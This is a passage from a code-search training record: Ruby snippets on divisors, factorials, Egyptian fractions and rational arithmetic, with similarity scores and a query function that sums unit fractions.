the \"prime_division\" of variable \"number,\" which is a series of arrays\n #of arrays of the form (prime factor, powers), to two new arrays, primes and powers, \n #which is a tranposition of the rows and columns of prime_division (i.e., 1,1 is the \n #first prime factor and 1,2 is the first prime powers, and, after tranposition,\n #1,1 is likewise the first prime factor but 2,1 (1,2 transposed) is the first \n #powers)\n\n exponents = powers.map{|i| (0..i).to_a}\n\n #takes each power from the prime factor and creates a new array with all the exponents\n #less than the power, which are used to calculate the divisors\n\n#first takes each element of \"exponents\" and creates a new array, using product\n#function, containing all combos of each of the prime factor exponents with the \n#others (e.g., for 288, the output of exponents.shift.product(*exponents) is all pairs of\n#0-5, which is the exponents of 2^5, and 0-2, which is the exponents of 3^2)\n\n#the next section of code takes all the pairs generated in \"exponents\" and uses them on the \n#prime factors, which are then multiplied together. This process generates an exhaustive\n#and non-duplicative list of divisors. For example, with 288, first 2^0 * 3^0 is calculated, then \n#2^0 * 3^1, etc., until all pairs have been multiplied.\n\n\n divisors = exponents.shift.product(*exponents).map do |powers|\n primes.zip(powers).map{|prime, power| prime ** power}.inject(:*)\n end\n\n#remove the number itself, per the challenge\n\n divisors.delete_if {|x| x == number}\n\n#add all the divisors (less then number itself) together and return the value\n\n return divisors.inject(:+)\n \nend", "def factorials_rec(num)\n\treturn [1] if num == 1\n\tfactorials_arr = factorials_rec(num - 1)\n\tfactorials_arr << num * factorials_arr[-1]\nend", "def rational_to_directions(rational)\n min = Rational(0, 1)\n target = Rational(1, 1)\n max = Struct.new(:numerator, :denominator).new(1, 0)\n\n result = ''\n until rational == target\n if rational < target\n max = target\n result.concat 'L'\n else\n min = target\n result.concat 'R'\n end\n\n target = Rational(min.numerator + max.numerator, min.denominator + max.denominator)\n end\n\n result\nend", "def factorials_rec(num)\n return [] if num == 0\n factorials = []\n\n assessment_passer = factorials_rec(0)\n\n idx = 0\n while idx < num\n factorials << factorial_num(idx)\n idx += 1\n end\n\n factorials\nend", "def rdiv(p0) end", "def factors_new(number)\n divisors = []\n dividend = number\n while dividend > 0 \n begin\n divisors << number / dividend if number % dividend == 0\n dividend -= 1\n end \n divisors\n end\n divisors\nend", "def factorials_rec(num)\n return [1,1] if num == 2\n return [1] if num == 1\n\n factorial_array = factorials_rec(num-1)\n factorials = factorial_array + [(num-1) * factorial_array.last]\n factorials\nend", "def to_foorth_r\r\n self.rationalize\r\n end", "def d(n)\r\n proper_divisors(n).reduce(:+)\r\nend", "def factors(number)\n dividend = number\n divisors = []\n while dividend == 0\n divisors << number / dividend if number % dividend == 0\n dividend -= 1\n end\n divisors\n\n # number % dividend == 0 checks if the number is divisable with no remainder\n # returns the divisors array\nend", "def factors_of(num)\n\ti = 1\n \tarry = []\n while i <= num\n if num % i == 0\n arry << i\n end\n\n i += 1\n end\n return arry\nend", "def factors(number)\n dividend = number\n divisors = []\n while dividend > 0\n divisors << number / dividend if number % dividend == 0\n dividend -= 1\n end \n divisors\nend", "def divisors(num)\n divisors = Array.new\n counter = 1\n while counter <= num\n divisors << counter if num % counter == 0\n counter += 1\n end\n divisors\nend", "def frm(r, n, po)\n\t## \n\t# interest rate is converted to fraction and made a monthly\n\tr = r.to_f/100/12\n\t##\n\t#number of years is converted to number of months\n\tn = n * 12\n\t##\n\t#monthly payment is calculated\n\tc = (r / (1 - (1+r) ** -n) ) * po\n\treturn c\nend", "def factorials_rec(num)\n answer = []\n return [1] if num == 1\n return [1, 1] if num == 2\n next_num = (num - 1) * factorials_rec(num - 1)[-1]\n answer << next_num\n #answer\nend", "def denom()\n\t\treturn @den\n\tend", "def pure_number(n)\n arr = []\n arr[0] = \"\"\n blocks = 0\n displacement = 0\n i = 1\n while(i <= n)\n blocks = blocks + 1 if(is_power_of_2?(i+1))\n if(is_4_series?(i, blocks))\n displacement = power_of_num(2, blocks-1)\n arr[i] = \"4\" + arr[i-displacement] + \"4\"\n else\n displacement = power_of_num(2, blocks) \n arr[i] = \"5\" + arr[i-displacement] + \"5\"\n end\n i+=1\n end\n arr\nend", "def encode(table)\n table.each_with_object(table.dup) do |(k1, v1), accu|\n v1.each do |k2, v2|\n if v2.is_a?(Rational)\n accu[k1][k2] = { \"numerator\" => v2.numerator, \"denominator\" => v2.denominator }\n end\n end\n end\n end", "def NR(exp,num,prec)\r\n\tres = Float(num)\r\n\twhile((res**exp - num) > prec)\r\n\t\tres = res - (((res**exp) - num)/(exp*(res**(exp-1))))\r\n\t\t#puts res\r\n\tend\r\n\treturn res\r\nend", "def divisors\n [self] + self.factors << 1\n end", "def factorials_rec(num)\n # p num\n # p \"num #{num} \"\n if num <= 0\n return [1]\n end\n if num == 1\n return [1]\n end\n if num == 2\n return [1, 1]\n end\n # p factorial(3)\n # factorial = num-1 * factorials_rec(num-2)\n # p factorial\n return factorials_rec(num-1) + [factorial(num-1)]\n \nend", "def test_Rational_ArithmeticOperations\n\t\tassert_equal(1.0, Rational(\"1/2\") + Rational(\"1/2\"))\n\t\tassert_equal(0.0, Rational(\"1/2\") - Rational(\"1/2\"))\n\t\tassert_equal(0.25, Rational(\"1/2\") * Rational(\"1/2\"))\n\t\tassert_equal(1.0, Rational(\"1/2\") / Rational(\"1/2\"))\n\t\tassert_equal(0, Rational(\"1/2\") % Rational(\"1/2\"))\n\t\tassert_equal(4.0, Rational(\"2\") ** Rational(\"2\"))\n\t\t# assert_equal(1, -@ Rational(\"2\"))\n\tend", "def pmt(interest_rate,payments,principal)\n numerator =interest_rate*principal*(1 + interest_rate)**payments\n denominator= (1+ interest_rate)**payments - 1\n return numerator/denominator.to_f\nend", "def continued_fraction(n)\n a0 = Math.sqrt(n).floor\n cf = [a0]\n\n m = 0\n d = 1\n loop do\n m = d * cf.last - m\n d = (n - m**2)/d\n a = (a0 + m)/d\n cf << a\n\n break if a == 2 * a0\n end\n\n cf\nend", "def clumsy(n)\n a = (1..n).to_a.reverse\n \n result = [a[0]]\n \n a[1..a.size - 1].each_with_index do |num, index|\n if index % 4 == 0\n result << '*'\n elsif index % 4 == 1 \n result << '/'\n elsif index % 4 == 2\n result << '+'\n else\n result << '-'\n end\n \n result << num\n end\n \n result = multiply_and_divide_all_results(result)\n \n add_and_subtract_all_results(result)\nend", "def factors(number)\n dividend = number\n divisors = []\n while dividend>0 do \n divisors << number / dividend if number % dividend == 0\n dividend -= 1\n end\n p divisors\nend", "def get_hidratos\n @_100=((@hidratos*100)/@peso)\n @ir_100=(@_100/260)*100\n @porcion=((@hidratos*@gramos_porciones)/@peso)\n @ir_porcion=(@porcion/260)*100\n [ @hidratos , @_100 , @ir_100.round(1) , @porcion , @ir_porcion.round(1) ]\n end", "def pyramid_sum(base)\n\tarr = [base]\n\t\n \twhile arr.length < base.length\n pre_level = arr[0]\n next_level = adjacent_sum(pre_level)\n arr.unshift(next_level)\n end\n \n return arr\n \t\nend", "def reduce\n divisor = mcd\n @num = @num / divisor\n @denom = @denom / divisor\n return self\n end", "def cleanse(deposit, ratios)\n sumtotal = 0\n\n deposit.map do |money|\n unit = money.match(/^[\\D|$]{2,3}/).to_s\n\n rate = ratios[unit].to_f\n\n gsubber(money)\n\n money = ((money.to_f)*rate).round(2)\n\n sumtotal = sumtotal + money\n\n puts_subtotal(unit,money,rate,sumtotal)\n\n end\n\n puts_grandtotal(sumtotal)\n\n end", "def factor (num)\n div = 2\n\n while num % div != 0\n div += 1\n end\n\n return [div]\n .concat((num / div > 1) ? factor(num / div) : [])\nend", "def factorials_rec(num)\n return [1] if num == 1\n results = []\n num.times do \n last_facs = factorials_rec(num - 1)\n results = last_facs << (last_facs.last * (num - 1))\n end\n results\n \nend", "def simplificar (fraccion)\n mcd = gcd(fraccion.numerador, fraccion.denominador)\n Fraccion.new( fraccion.numerador/mcd , fraccion.denominador/mcd)\n \n \n end", "def /(other)\n\t\tRacional.new(num*other.denom,denom*other.num)\n\tend", "def factors1(number)\n dividend = number\n divisors = []\n while dividend > 0 do\n divisors << number / dividend if number % dividend == 0\n dividend -= 1\n end\n divisors\nend", "def to_continued_fraction(rational)\n whole = rational.floor\n remainder = rational - whole\n if remainder.zero? then [whole]\n else [whole, to_continued_fraction(Rational(1, remainder))].flatten\n end\n end", "def divisors(num)\n arr = [1, num]\n (2..Integer.sqrt(num)).each do |n|\n quot, rem = num.divmod(n)\n arr << [n, quot] if rem.zero?\n end\n arr.uniq.flatten.sort\nend" ]
[ "0.6782674", "0.661094", "0.65043896", "0.6374127", "0.6353443", "0.63053936", "0.6232218", "0.61102", "0.60121995", "0.5889361", "0.5883006", "0.5878256", "0.5858755", "0.5800308", "0.5800201", "0.57821065", "0.57633317", "0.57446957", "0.5668355", "0.5632723", "0.5608964", "0.5608064", "0.5582927", "0.5571194", "0.5547624", "0.55264056", "0.55251986", "0.5520973", "0.5514892", "0.55016553", "0.549645", "0.54875076", "0.5486413", "0.5482155", "0.54764307", "0.5473821", "0.54530334", "0.54182136", "0.5411098", "0.54075557", "0.5399342", "0.53654116", "0.53652495", "0.5358198", "0.5346711", "0.5321241", "0.529785", "0.5291578", "0.5290933", "0.5285887", "0.5281856", "0.5272458", "0.5267788", "0.5264725", "0.5260636", "0.52532744", "0.5236347", "0.5235963", "0.52350414", "0.5234014", "0.52257645", "0.522014", "0.5212665", "0.519775", "0.51811635", "0.51705605", "0.5163462", "0.51600367", "0.51496154", "0.5148778", "0.5148181", "0.5143794", "0.5120108", "0.5113785", "0.51015824", "0.5100374", "0.50982964", "0.5085323", "0.50818574", "0.50792056", "0.5078267", "0.5076512", "0.5073919", "0.50690895", "0.506653", "0.50649494", "0.50626147", "0.5061733", "0.5054856", "0.50488746", "0.5045283", "0.50452405", "0.5044973", "0.5042931", "0.50324994", "0.50249773", "0.5016598", "0.50153947", "0.5013512", "0.5012616" ]
0.7269487
0
> [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 15, 230, 57960] inputs: Array (an arr of denoms that are part of an Egyptian Fraction rep of the num) outputs: a Rational Number (two ints reping the num and denom of a rat num) reqs: take an arr reping an Egyptian Fraction rep of the num rtn a Rational Number struct: num (to hold sum of fractional elements) algo: init a sum at 0 for each element in the arr add rat(1/denom) to the sum rtn the sum
def unegyptian(arr) sum = 0 arr.each { |denom| sum += Rational(1, denom) } sum end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def egyptian(rat_num)\n arr = []\n sum = 0\n temp_sum = sum\n denom = 1\n while sum < rat_num && denom < 1_000_000\n temp_sum += Rational(1, denom)\n if temp_sum > rat_num # overshot\n temp_sum = sum # reset\n else\n sum = temp_sum\n arr << denom\n end\n # p \"denom = #{denom}, sum = #{sum}, arr = #{arr}\"\n denom += 1\n end\n arr\nend", "def unegyptian(denominators)\n sum = Rational(0)\n denominators.each do |denominator|\n sum += Rational(1, denominator)\n end\n sum\nend", "def egyptian(rational)\n array = []\n n = 1\n remaining = rational\n until remaining == 0\n if remaining - Rational(1, n) >= 0\n array << n\n remaining = remaining - Rational(1, n)\n end\n n += 1\n end\n array\nend", "def egyptian(rational_n)\n denominators = []\n next_denom = 1\n loop do\n denominators << next_denom\n sum = denominators.reduce(Rational(0)) do |accum, denom|\n accum + Rational(1, denom)\n end\n break if sum == rational_n\n denominators.pop if sum > rational_n\n next_denom += 1\n end\n denominators\nend", "def return_rational(numerator)\n\t\tnumerator/36.to_r\n\tend", "def egyptian(rational)\n denominators = []\n denominator = 1\n\n until rational == 0\n if Rational(1, denominator) <= rational\n denominators << denominator\n rational -= Rational(1, denominator)\n end\n\n denominator += 1\n end\n denominators\nend", "def egyptian(x)\n list = []\n count = 0\n while x.numerator > x.denominator || x.denominator / x.numerator + 1 <= count\n count += 1\n list.push count\n d = 1/count.to_r\n x -= d\n end\n loop do\n if x.numerator == 1\n list.push(x.denominator)\n return list\n end\n d = x.denominator / x.numerator + 1 \n list.push(d)\n d = 1/d.to_r\n x -= d\n end\n list\nend", "def curious_fraction(numerator,denominator)\n numerators = numerator.to_s.split('').map(&:to_i)\n denominators = denominator.to_s.split('').map(&:to_i)\n\n if numerators[0]==denominators[0] && numerators[0]!=0\n numerators.shift\n denominators.shift\n return (numerators[0].to_f)/denominators[0]\n \n elsif numerators[1]==denominators[0] && numerators[1]!=0\n numerators.pop\n denominators.shift\n return (numerators[0].to_f)/denominators[0]\n \n elsif numerators[0]==denominators[1] && numerators[0]!=0\n numerators.shift\n denominators.pop\n return (numerators[0].to_f)/denominators[0]\n\n elsif numerators[1]==denominators[1] && numerators[1]!=0\n numerators.pop\n denominators.pop\n return (numerators[0].to_f)/denominators[0]\n else\n false\n end\n\nend", "def egyptian(rat_num, results = [])\n denominator = find_biggest_denominator(results.last, rat_num)\n results << denominator\n rat_num = rat_num - Rational(1, denominator)\n\n return results if rat_num == 0\n\n egyptian(rat_num, results)\nend", "def reduce(frac)\n n, d = frac.split('/').map(&:to_i)\n unless (g = gcd(n, d)) == 1\n n /= g; d /= g\n end\n \"#{n}/#{d}\"\nend", "def mixed_fraction(s)\n f = s\n fraction = f.split(\"/\").map { |x| x = x.to_i }\n p initial = Rational(fraction[0],fraction[1])\n p initial_split = initial.to_s.split(\"/\").map { |x| x = x.to_i }\n \n if initial_split[0] < 1\n initial_split[0] = initial_split[0] * -1\n initial_split[0]\n initial_split[2] = \"-\"\n initial_split[2]\n end\n if initial_split[1] == initial_split[0]\n final_answer = Array.new\n final_answer[0] = initial_split[2]\n final_answer[1] = initial_split[0]\n final_answer = final_answer.join\n elsif initial_split[0] == 0\n final_answer = \"0\"\n elsif (initial_split[0] / initial_split[1]) < 1\n final_answer = initial.to_s\n elsif (initial_split[0] / initial_split[1]) > 1\n if initial_split[0] % initial_split[1] == 0\n final_answer = \"#{initial_split[2]}#{initial_split[0]/initial_split[1]}\"\n elsif \n final_answer = Array.new\n final_answer[0] = initial_split[2]\n final_answer[1] = \"#{(initial_split[0]/initial_split[1])}\"\n final_answer[2] = \" #{initial_split[0] % initial_split[1]}/#{initial_split[1]}\"\n final_answer = final_answer.join\n end\n else \n final_answer = Array.new\n final_answer[0] = initial_split[2]\n final_answer[1] = \"#{(initial_split[0]/initial_split[1])}\"\n final_answer[2] = \" #{initial_split[0] % initial_split[1]}/#{initial_split[1]}\"\n final_answer = final_answer.join\n end\n p final_answer\nend", "def divisorSum(num)\n\tarr = [1]\n\t(2..num ** 0.5).each do |n| \n\t\tif (num % n == 0) then\n\t\t\tarr << n \n\t\t\tarr << num/n \n\t\tend\n\tend\n\tarr.reduce(:+)\nend", "def egyptian(input_fraction)\n output = []\n unit_denominator = 1\n current = Rational(1, unit_denominator)\n\n loop do \n \n if input_fraction - current >= 0\n output << unit_denominator\n input_fraction = input_fraction - current\n end\n unit_denominator += 1\n current = Rational(1, unit_denominator)\n\n break if input_fraction == 0\n end\n output\nend", "def to_r\n return Rational(numerator,denominator)\n end", "def get_fraction( pattern )\n r = nil\n pattern.reverse.each_with_index do |n, i|\n r = (i == 0 ? n : n + Rational(1, r))\n end\n return r\nend", "def arith_geo_ii(arr)\n differences = []\n ratios = []\n arr.each_with_index do |num, idx|\n next if idx == arr.size - 1\n differences << arr[idx + 1] - num\n ratios << arr[idx + 1] / num\n end\n if differences.uniq.size == 1 then 'Arithmetic'\n elsif ratios.uniq.size == 1 then 'Geometric'\n else -1\n end\nend", "def numerator() end", "def reciprocal\n\t\tRacional.new(denom, num)\n\tend", "def find_biggest_denominator(denominator, rat_num)\n denominator == nil ? denominator = 1 : denominator += 1\n loop do\n break if (rat_num - Rational(1, denominator)) >= 0\n denominator += 1\n end\n denominator\nend", "def reciprocal\n RationalNumber.new(self.denominator, self.numerator)\n end", "def reduce!\n g = gcd(@numer, @denom)\n @numer /= g\n @denom /= g\n self\n end", "def to_r\n Rational(numerator.to_i, denominator.to_i)\n end", "def d(n)\r\n proper_divisors(n).reduce(:+)\r\nend", "def add_frac(frac1, frac2)\n numerator1 = frac1[0]\n numerator2 = frac2[0]\n denominator1 = frac1[1]\n denominator2 = frac2[1]\n\n if denominator1 == denominator2\n [numerator1 + numerator2, denominator1]\n else\n [numerator1 * denominator2 + numerator2 * denominator1, denominator1 * denominator2]\n end\nend", "def egyptian(number)\n denominator = 0\n result = 0\n stored_values = []\n loop do\n denominator += 1\n loop do\n result += Rational(1, denominator)\n if result >= number\n result -= Rational(1, denominator) #when result get close, step back to the first level loop and increase denominator again.\n break\n end\n stored_values << denominator\n end\n if (denominator >= 9 && result + Rational(1,denominator) == number) # When we're getting close enough to number and able to increase easily towards number.\n stored_values << denominator # So that the result gets equal to number, not just very close to it.\n break\n end\n end\n p stored_values.uniq\n stored_values\nend", "def reduce\n if denominator.to_i == 0\n puts \"ERROR\"\n else\n min = [numerator,denominator].min\n min.downto(2) do |x|\n if numerator%x == 0 && denominator%x == 0\n n = numerator/x\n d = denominator/x\n puts n.to_s + \"/\" + d.to_s\n break\n end\n end\n end\n end", "def denominator() end", "def pmt(interest_rate,payments,principal)\n numerator =interest_rate*principal*(1 + interest_rate)**payments\n denominator= (1+ interest_rate)**payments - 1\n return numerator/denominator.to_f\nend", "def puts_ratios(series)\n ratios = []\n (1...series.length).each do |term|\n ratios << series[term].fdiv(series[term - 1])\n end\n puts_fibonacci(ratios)\nend", "def reciprocal ()\n\tFraccion.new(@denominador,@numerador)\n end", "def output_fraction(nd_array)\n n, d = nd_array\n if d == 1\n puts n\n else\n puts n.to_s + '/' + d.to_s\n end\nend", "def divide_fraction_by_term_list(fraction, term_list)\n\ttl_fraction = Fraction.new(term_list.line, term_list.col, denominator: term_list)\n\treturn multiply_fraction_and_fraction(fraction, tl_fraction)\nend", "def divide_term_list_by_fraction\n\ttl_fraction = Fraction.new(term_list.line, term_list.col, numerator: term_list)\n\treturn multiply_fraction_and_fraction(invert_fraction(fraction), tl_fraction)\nend", "def fracmul(a, frac)\n c = a.dup\n frac[1].each { |i|\n return nil if c[i] == 0\n c[i] = c[i] - 1\n }\n frac[0].each { |i| c[i] = c[i] + 1}\n c\nend", "def test_Rational_InstanceMethods_rationalize\n\t\tassert_equal(Rational(\"884279719003555/281474976710656\").to_r, Math::PI.to_r)\n\t\t# TODO, Need add some testcases.\n\t\t# r.rationalize #=>(884279719003555/281474976710656)\n\t\t# r.rationalize(0.01)#=>(22/7)\n\tend", "def test_Rational_InstanceMethods_numerator\n\t\tassert_equal(2, Rational(\"2/3\").numerator)\n\t\t# TODO, assert_equal(1978, Rational(\"1978/840\").numerator)\n\tend", "def NR(exp,num,prec)\r\n\tres = Float(num)\r\n\twhile((res**exp - num) > prec)\r\n\t\tres = res - (((res**exp) - num)/(exp*(res**(exp-1))))\r\n\t\t#puts res\r\n\tend\r\n\treturn res\r\nend", "def + r\r\n ans = MyRational.new(@num,@den)\r\n ans.add! r\r\n ans\r\n end", "def convertFracts(fraction_array)\n least_common_multiple = fraction_array.transpose { |x, y, z| [x, y, z] }[1].reduce(1, :lcm)\n \n fraction_array.map do |numer, denom|\n [numer*least_common_multiple/denom, least_common_multiple]\n end\nend", "def solve_equivalent_fractions\n last = 0\n array = Array.new\n @reduced_row_echelon_form.each do |x|\n array = last.gcdlcm(x.last.denominator)\n last = x.last.denominator\n end\n array.max\n end", "def cf2r(cf)\r\n return cf.reverse.inject{|result,a| Rational(1,result) + a}\r\nend", "def integrate(arr,normalize_val=nil)\n r = arr.inject([0]) { |sum,x| sum << sum.last + x }[1..-1]\n normalize_val ? emul(r,normalize_val.to_f/r.last) : r\n end", "def reciprocal\nFraccionario.new(@den, @num)\nend", "def test_Rational_InstanceMethods_denominator\n\t\tassert_equal(3, Rational(\"2/3\").denominator)\n\t\tassert_equal(365, Rational(\"343434/365\").denominator)\n\tend", "def reciprocal\n dividend = 1\n answer = max = remainder = count = 0\n 999.downto(7) do |divisor|\n next if divisor % 2 == 0 || divisor % 5 == 0\n count = 0\n until count > 2 && remainder == 1\n remainder = dividend % divisor\n dividend = remainder * 10\n count += 1\n end\n if count > max\n max = count\n answer = divisor\n end\n end\n answer\nend", "def rdiv(p0) end", "def getBasePart(max,rerolls=[])\n z=Density.new\n z.delete(0)\n z.exact=false\n z.fail=true\n z.uniform=false\n n=max - rerolls.reject{ |n| n==max }.size\n for k in (1..(max-1)).reject{ |n| rerolls.include?n } do\n z[k]=Rational(1,n)\n end\n return z\n end", "def getBasePart(max,rerolls=[])\n z=Density.new\n z.delete(0)\n z.fail=true\n z.exact=false\n z.uniform=false\n n=max - rerolls.reject{ |n| n==max }.size\n for k in (1..(max-1)).reject{ |n| rerolls.include?n } do\n z[k]=Rational(1,n)\n end\n return z\n end", "def closest_fraction_to(num, denom, max_divisor)\n (2..max_divisor).map {|d| Rational(d*num/denom-1, d)}.max\nend", "def gc_divisor(ints:[]) \n arr = []\n arr2 = []\n for i in ints \n arr << i \n end\n \n arr.each do |num|\n for i in (1..num)\n if (num % i == 0)\n arr2 << i\n end\n end\n end\n # positive \n #divides numbers without a remainder\n #largetst one of such number\n arr2.each\nend", "def evaluate_continued_fraction(values)\n if values.size == 1\n Rational(values.shift)\n else Rational(values.shift) +\n Rational(1, evaluate_continued_fraction(values))\n end\n end", "def make_ratio(array1, array2)\n if array1.empty? || array2.empty?\n result = 0\n else\n result = array1.compact.inject(0){|sum, item| sum + item}.to_f/array2.compact.inject(0){|sum, item| sum + item}.to_f\n end\n result\n end", "def digit_cancel_fraction\n #remove trivial numbers\n range = (10..99).to_a.select { |x| x % 10 != 0 }\n results = []\n\n range.each do |denominator|\n\n #numerators should be less than denominator\n numerator_range = range.select { |x| x < denominator }\n\n numerator_range.each do |numerator|\n\n original = numerator / (denominator * 1.0)\n changed = 0\n #puts \"#{numerator} / #{denominator} = #{numerator / (denominator * 1.0)}\"\n\n #original fraction = ab /cd\n a = numerator / 10\n b = numerator % 10\n c = denominator / 10\n d = denominator % 10\n\n #if any common digits exits, cancel them and compute the changed fraction\n if a == c\n changed = b / (d * 1.0)\n elsif a == d\n changed = b / (c * 1.0)\n elsif b == c\n changed = a / (d * 1.0)\n elsif b == d\n changed = a / (c * 1.0)\n end\n\n #compare the original and changed fraction and add fraction to results\n if original == changed\n results.push([numerator, denominator])\n end\n\n end\n end\n\n #compute product\n num = 1\n denom = 1\n results.each do |fraction|\n num *= fraction[0]\n denom *= fraction[1]\n end\n\n product = Rational(num, denom)\n puts product\nend", "def use_rationals\n\tr1 = MyRational.new(3, 4)\n\tr2 = r1 + r1 + MyRational.new(-5, 2)\n\tputs r2.to_s\n\n\t(r2.add! r1).add! (MyRational.new(1, -4))\n\tputs r2.to_s\nend", "def fraction_calculator fraction_one, fraction_two, operator\n num_one = Rational(fraction_one)\n num_two = Rational(fraction_two)\n \n final_result = case operator\n when '/' then num_one / num_two\n when '*' then num_one * num_two\n when '+' then num_one + num_two\n when '-' then num_one - num_two\n end\n\n String(final_result)\n\n print String(final_result)\n\nend", "def fraction(hash,n)\n result = {}\n result[:n] = (n - hash[:minus]**2)/hash[:n]\n result[:i] = (Math.sqrt(n).to_i + hash[:minus])/result[:n]\n result[:minus] = result[:i]*result[:n]-hash[:minus]\n result\nend", "def toDigArray(prec = 100)\n localNum = @num.abs\n a = Array.new\n prec.times{\n a.push((localNum/@den))\n localNum = (localNum*10) % (@den*10)\n }\n a[0] *= -1 if @num < 0\n return a\n end", "def to_r\n Number.rationalize(value)\n end", "def to_rds(base = 10)\r\n\t\traise ArgumentError, \"invalid radix #{base}\" if base < 2 or 36 < base\r\n\r\n\t\t# initialize\r\n\t\tquotient = []\r\n\r\n\t\tn = numerator.to_s(base).split('').map(&:to_i)\r\n\t\texp = 0\r\n\t\twhile 0 == n.last\r\n\t\t\tn.pop\r\n\t\t\texp += 1\r\n\t\tend\r\n\t\td = denominator\r\n\t\tloop do\r\n\t\t\tq, r = d.divmod(base)\r\n\t\t\tbreak unless 0 == r\r\n\t\t\td = q\r\n\t\t\texp -= 1\r\n\t\tend\r\n\t\tt = n[0]\r\n\r\n\t\t# division loop\r\n\t\ti = 1\r\n\t\tloop do\r\n\t\t\tq, r = t.divmod(d)\r\n\t\t\tt = r * base + n[i].to_i\r\n\r\n\t\t\tquotient.push([q, nil])\r\n\r\n\t\t\tunless n[i]\r\n\t\t\t\tif 0 == t\r\n\t\t\t\t\tquotient.last[1] = 0\r\n\t\t\t\t\tbreak\r\n\t\t\t\tend\r\n\t\t\t\tbreak if quotient.map(&:last).include?(t)\r\n\t\t\t\tquotient.last[1] = t\r\n\t\t\tend\r\n\r\n\t\t\ti += 1\r\n\t\tend\r\n\r\n\t\t# format\r\n\t\trslt = \"0.\"\r\n\r\n\t\tzero_count = 0\r\n\t\twhile 0 == quotient[0][0]\r\n\t\t\tzero_count += 1\r\n\t\t\tif t == quotient.shift[1]\r\n\t\t\t\trslt += '('\r\n\r\n\t\t\t\t# rotate 0\r\n\t\t\t\twhile 0 == quotient[0][0]\r\n\t\t\t\t\tquotient.push(quotient.shift)\r\n\t\t\t\t\tzero_count += 1\r\n\t\t\t\tend\r\n\t\t\t\tbreak\r\n\t\t\tend\r\n\t\tend\r\n\t\texp += n.size - zero_count\r\n\r\n\t\tconvert = \"0123456789abcdefghijklmnopqrstuvwxyz\"\r\n\t\tif 0 == quotient.last[1]\r\n\t\t\trslt += quotient.map{|q| convert[q[0]]}.inject(&:+)\r\n\t\telse\r\n\t\t\tquotient.each do |q|\r\n\t\t\t\trslt += convert[q[0]]\r\n\t\t\t\trslt += '(' if t == q[1]\r\n\t\t\tend\r\n\t\t\trslt += \")\"\r\n\t\tend\r\n\t\trslt += \"e\" + exp.to_s unless 0 == exp\r\n\r\n\t\treturn rslt\r\n\tend", "def sum num1, num2, *divisor\n multiplesList = []\n n = divisor.length\n (divisor.length).times do |i|\n multiplesList += multiples num1, num2, divisor[i]\n end\n multiplesList.uniq.sum\n end", "def sumOfDivided(in_arr)\n p_arr = in_arr.each_with_object([]) do |num, arr| # get an array of all primes\n arr << num.abs.prime_division.transpose[0]\n end.flatten.uniq.sort # flat array, unique primes, sort in increasing order\n out_arr = p_arr.each_with_object([]) do |p_num, arr|\n p_sum = in_arr.select { |num| num % p_num == 0 }.reduce(0, :+)\n arr << [p_num, p_sum]\n end\nend", "def o_gen_rating(numbers, idx)\n return numbers.first if numbers.size == 1\n\n zeroes = []\n ones = []\n numbers.each { |num| num[idx] == \"0\" ? zeroes.push(num) : ones.push(num) }\n next_nums = zeroes.size <= ones.size ? numbers - zeroes : numbers - ones\n o_gen_rating(next_nums, idx + 1)\nend", "def use_rationals\r\n r1 = MyRational.new(3,4)\r\n r2 = r1 + r1 + MyRational.new(-5,2)\r\n puts r2.to_s\r\n (r2.add! r1).add! (MyRational.new(1,-4))\r\n puts r2.to_s\r\n puts r2.to_s2\r\n puts r2.to_s3\r\nend", "def /(denominator)\n raise MoneyError, \"Denominator must be a Fixnum. (#{denominator} is a #{denominator.class})\"\\\n unless denominator.is_a? Fixnum\n\n result = []\n equal_division = (cents / denominator).round\n denominator.times { result << Money.create_from_cents(equal_division) }\n extra_pennies = cents - (equal_division * denominator)\n \n # Make sure we don't loose any pennies!\n extra_pennies.times { |p| result[p] += 0.01 }\n result\n end", "def eval\n (num*1.0/den)\n end", "def plusMinus(arr)\n res = [0.0, 0.0, 0.0]\n arr.each do |number|\n res[2] += 1 if number.zero?\n next if number.zero?\n res[(number.positive? ? 0 : 1)] += 1\n end\n res.map! do |num|\n format('%0.5f', (num / arr.length))\n end\n puts res\nend", "def calcula_media(array)\n array = array.sort()\n n = array.size\n soma = 0.0\n # if array.size%2 != 0\n # return array[n/2.0]\n if array.size%2\n return array[n/2.0]-1.0 + array[n/2.0] / 2.0\n end\nend", "def fractional; end", "def sum_amicable_numbers(range)\r\n array = []\r\n range.each do |a|\r\n next if array.include?(a)\r\n array += [a, a.sum_divisors] if a.amicable?\r\n end\r\n array.reduce(:+)\r\nend", "def denominator_formula\n 1.upto(payments - 1).map { |m| \"(1 + percent) ** (#{m} * payment_period)\" }\n .push(1)\n .join(' + ')\n end", "def divisorSum2(num)\n\ttotal = 1\n\tif(num > 1) then\n\t\t(2..num ** 0.5).each { |n| if (num % n == 0) then total = total + n + num/n end}\n\telse\n\t\treturn 0\n\tend\n\t\ttotal\nend", "def calculate_doubles(arr)\n array = []\n arr.each {|x| array << x + x}\n array\n\nend", "def add_frac(a,b)\nlcm = a[1].lcm(b[1])\nputs a.inspect\nputs b.inspect\nputs lcm\nif lcm == a[1] and b[1] then\n sum2 = a[0] + b[0]\n puts \"Your fraction is #{sum2}/#{lcm}\"\nelse\n sum1 = (a[0]*b[1]) + (b[0]*a[1])\n puts sum1\nputs \"Your fraction is #{sum1}/#{lcm}\"\nend\nend", "def d(n)\n divisors = (1...n).select{ |i| n % i == 0 }\n divisors.reduce(&:+)\nend", "def ject(ary)\nr = [ary]\nw = []\n\nr.flatten.each do |y| \n\tif y == 0\n\t\tw << 0\n\telse\n\t\t3.times {|idx| w << ( y / (idx + 2) )}\n\tend\nend\nw\nend", "def sbs_NR(exp,num,step,prec)\r\n\tres = Float(step)\r\n\tres = res - (((res**exp) - num)/(exp*(res**(exp-1))))\r\n\tif((res**exp - num) < prec)\r\n\t\treturn 0\r\n\telse\r\n\t\treturn res\r\n\tend\r\nend", "def sbs_NR(exp,num,step,prec)\r\n\tres = Float(step)\r\n\tres = res - (((res**exp) - num)/(exp*(res**(exp-1))))\r\n\tif((res**exp - num) < prec)\r\n\t\treturn 0\r\n\telse\r\n\t\treturn res\r\n\tend\r\nend", "def add(rational)\n\n\t\t#\tCopy the second rational\n\t\ttemp = RationalNumber.new(rational.numerator, rational.denominator)\n\n\t\t#\tMake sure we have LCD \n\t\tif not self.denominator == rational.denominator\n\t\t\ttemp.denominator = rational.denominator * self.denominator\n\t\t\ttemp.numerator = rational.numerator * self.denominator\n\t\tend\n\n\t\t#\tNow 